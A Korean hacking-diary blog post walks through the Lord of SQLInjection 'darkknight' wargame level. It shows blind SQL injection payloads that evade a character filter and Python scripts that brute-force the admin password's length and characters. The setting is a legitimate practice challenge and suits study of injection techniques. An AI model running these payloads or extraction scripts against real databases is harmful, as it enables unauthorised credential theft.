Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 darkknight문제에 대해 다루겠다.

 


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

darkknight

## 문제 해석 : 

해당 문제는 preg_match() 함수를 통해 prob, _, ., (, ), ', substr, ascii, =를 필터링한 것을 알 수 있다.

또한 id "admin"의 pw값을 알아야 해당 문제를 해결할 수 있는 것으로 보인다.

 

## 문제 풀이 : 

우선, 필터링된 문자들을 우회하면서 pw의 길이를 알아낸 쿼리문을 작성해보겠다.

### 사용할 공격문 : no=1 or instr(id, "admin") and length(pw) > 7

### 실행 결과 : 

1차 시도

"Hello admin"이 출력된 것을 보아 pw의 길이가 7보다 크다는 것을 확인할 수 있다.

또한 "="의 우회는 instr() 함수를 이용하면 된다.

 

계산된 결과, 실제 pw의 길이가 8이므로 8을 넣어서 다시 공격해보겠다.

### 사용할 공격문 : no=1 or instr(id, "admin") and length(pw) > 8

### 실행 결과 : 

length(pw) = 8

화면에 아무것도 출력되지 않는 것이 쿼리문이 False임을 뜻하므로, 이것은 꼭 pw의 길이가 8인 것을 뜻한다.

 

그러나 실제 비밀번호의 경우 길이가 10자리 이상, 많게는 20자리 이상이 있을 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 : 

import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값

pw_len = 0  # 비밀번호 길이 초기화
while 1:  # while문 실행
    pw_len += 1  # 비밀번호 길이 + 1
    query = f'1 or instr(id, "admin") and length(pw) > {pw_len}'  # 쿼리문 작성
    params = {'pw': query}  # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies)  # 요청
    if "Hello admin" not in response.text:  # Hello admin이 응답이 없다면, 즉 False를 반환한다면
        print("password's length : ", pw_len)  # 비밀번호 길이 출력
        break  # while문 종료

### 실행 결과 : 

실행 결과 (비밀번호 길이)

비밀번호의 길이가 똑같이 8인 것을 알 수 있다.

 

비밀번호를 알아낸 다음에 각 비밀번호가 무엇인지 알아내야 한다. 이는 아스키 코드를 사용하여 알아낼 수 있다. 또한 substr와 ascii가 필터링되었으므로 여기서는 left()와 right(), ord()를 활용해보겠다.

### 사용할 공격문 : no=1 or instr(id, "admin") and ord(right(left(pw, 1), 1)) > 47

### 실행 결과 : 

1차 시도

"Hello admin"이 출력된 것을 보니 pw의 첫 번째 글자가 아스키코드의 47번(/)보다 크다는 것을 알 수 있다.

 

실제 계산해본 결과 pw의 첫 번째 글자(0)의 아스키코드가 48이므로 48로 마저 공격해보곘다.

### 사용할 공격문 : no=1 or instr(id, "admin") and ord(right(left(pw, 1), 1)) > 48

### 실행 결과 : 

pw[0] = "0"

아무것도 출력되지 않는 것을 확인할 수 있다. 즉 우리가 작성한 쿼리문ord(right(left(pw, 1), 1)) > 48이 False라는 것을 알 수 있고, 이는 곧 pw의 첫 번째 글자가 0인 것을 의미한다.

 

이를 똑같이 파이썬 코드로 구현하면 다음과 같다.

### 공격 코드 : 

def search_pw(pw_len): # 비밀번호 찾기 함수
    pw = '' # 비밀번호 초기화
    for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
        print("Round ", i) # 몇 번째 Round인지 출력
        for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
            query = f'1 or instr(id, "admin") and ord(right(left(pw, {i}), 1)) > {ch}' # 쿼리문 작성
            params = {'pw': query} # 파라미터 삽입
            response = requests.get(url, params=params, cookies=cookies) # 응답 받기
            if "Hello admin" not in response.text: # "Hello admin"이 응답 메시지에 없을 때, 즉 False인 경우
                pw += chr(ch) # pw에 아스키 코드를 변환하여 저장
                print("password : ", pw) # 값 출력
                break # 종료

    return pw # 비밀 번호 반환

### 실행 결과 :

실행 결과 (비밀번호)

### 최종 공격문 : pw=0b70ea1f

### 실행 결과 : 

공격 성공

## 추가 해석

쿼리문 : right(left(pw, 1), 1)

left('asdf', 3) = 0x61(a)73(s)64(d)이다. right()함수를 사용해서 right(left('asdf', 3), 1)를 실행해보면 그 결과값은 substr('asdf', 3, 1)과 같이 "d"이다.

또한 ord()는 ascii()와 같다.

'Wargame > Lord of SQLInjection' 카테고리의 다른 글

Lord of SQLInjection (14. giant)  (0) 2022.05.31
Lord of SQLInjection (13. bugbear)  (0) 2022.05.30
Lord of SQLInjection (11. golem)  (0) 2022.05.27
Lord of SQLInjection (10. skeleton)  (0) 2022.05.25
Lord of SQLInjection (9. vampire)  (0) 2022.05.22
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!